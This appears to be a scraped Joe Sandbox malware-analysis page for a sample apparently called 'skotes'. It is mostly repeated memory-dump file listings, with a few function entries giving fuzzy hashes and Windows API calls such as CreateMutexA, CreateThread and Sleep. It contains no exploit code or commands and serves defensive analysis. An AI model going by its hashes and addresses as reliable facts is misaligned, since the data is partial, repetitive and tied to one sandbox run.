Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5421a8e38ad1ac5255991cc18c026473c35f70eadc444304e0876ec660c9a3e1
Instruction ID: cb6b4eec811ea29730eb679aafdd72f018e77377b9f3b6845b0cd3a479e05bb6
Opcode Fuzzy Hash: 5421a8e38ad1ac5255991cc18c026473c35f70eadc444304e0876ec660c9a3e1
Instruction Fuzzy Hash: ED315931B001448BEB08DB78DDC9B6DF7F6EB85310F20829AE414E73D1E77A99818726

Function 00C06E4C Relevance: 3.1, APIs: 2, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3d6712192b493d4063bbbfce442e94c972cfdc20416b0b630238661e83936079
Instruction ID: 678b0871172118fad7b710c12aac6e47153c98b7843f1714dfbd52df8160240d
Opcode Fuzzy Hash: 3d6712192b493d4063bbbfce442e94c972cfdc20416b0b630238661e83936079
Instruction Fuzzy Hash: 4721D6729052196AEB117FA8EC42B9F3729DF41378F100315F9342B1D2D7709E11E661

Function 00BDA960 Relevance: 3.0, APIs: 2, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 00BDA963
CreateMutexA.KERNEL32(00000000,00000000,00C33254), ref: 00BDA981

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5d99646ae09323424cf7fca8d278462832b64b284be8d6f83e24972ac00c7b48
Instruction ID: be5c5934e00337922eeebe83e4b616ca70ad743210be9825778e694df915eb28
Opcode Fuzzy Hash: 5d99646ae09323424cf7fca8d278462832b64b284be8d6f83e24972ac00c7b48
Instruction Fuzzy Hash: E3E0CD223A930496FA147769B85DB3EE2E4C7D5F41F210416F604C71E1A6B5C5C48137

Function 00BE6D00 Relevance: 3.0, APIs: 2, Instructions: 14sleepthreadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00BE6D11
Sleep.KERNEL32(00007530), ref: 00BE6D25

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 73caf05e90f0f21f8cd9f6e5d7fa6b4ac7df9edf7d17c9afa1d4d673ba0c3388
Instruction ID: f828552a3d4bca88ca8bc3144d38b600a5434c598a32cfa3a912a8d0387ed752
Opcode Fuzzy Hash: 73caf05e90f0f21f8cd9f6e5d7fa6b4ac7df9edf7d17c9afa1d4d673ba0c3388
Instruction Fuzzy Hash: 29D012707D0318B6F12002222C0BF2AAA509B0AF81FB5588077083E0E086E0340046A8

Function 00BDD6D0 Relevance: 1.8, APIs: 1, Instructions: 346COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00BDD913

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476938674.0000000000E2B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477070298.0000000000E34000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477264101.0000000000E3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477393595.0000000000E3C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477657476.0000000000E3E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3477851250.0000000000E4C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478022799.0000000000E4E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478177580.0000000000E4F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478382081.0000000000E56000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478540619.0000000000E5D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478784297.0000000000E5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3478916346.0000000000E67000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479082698.0000000000E69000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479224017.0000000000E78000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000E79000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3479587230.0000000000EA9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480189121.0000000000EC3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480364133.0000000000EC4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480502735.0000000000EDA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480582275.0000000000EDB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480721803.0000000000EDC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3480920537.0000000000EE0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481180448.0000000000EE2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481324628.0000000000EF0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3481427628.0000000000EF1000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_bd0000_skotes.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: abb99415f24e2751e6cb75a525e71b938bb0aa289e02aa573c6fbc35e08d6e53
Instruction ID: b80f7b0bc94669b845e31fb64b69e0a7dfa24aa62d53a49014bbc55752afc283
Opcode Fuzzy Hash: abb99415f24e2751e6cb75a525e71b938bb0aa289e02aa573c6fbc35e08d6e53
Instruction Fuzzy Hash: E5D122319002589BEB25EB28CC89BDDFBB1AF45304F5441D9E489A7382EB755FC8CB91

Function 00BD8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00BD8524

Memory Dump Source

Source File: 00000006.00000002.3457897829.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000006.00000002.3457753663.0000000000BD0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3457897829.0000000000C32000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458429750.0000000000C39000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458649300.0000000000C3B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3458785892.0000000000C45000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459052762.0000000000C46000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3459270282.0000000000C47000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3460431228.0000000000DA1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3461770601.0000000000DA3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3463645711.0000000000DBA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464669746.0000000000DBC000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DBE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3464800919.0000000000DC8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3466594651.0000000000DCD000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467635601.0000000000DCF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3467790959.0000000000DDB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469684463.0000000000DE1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3469922798.0000000000DF6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3473492363.0000000000E09000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3474734079.0000000000E21000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3475645098.0000000000E22000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3476651388.0000000000E2A000.00000080.00000001.01000000.00000008.sdmpDownload File
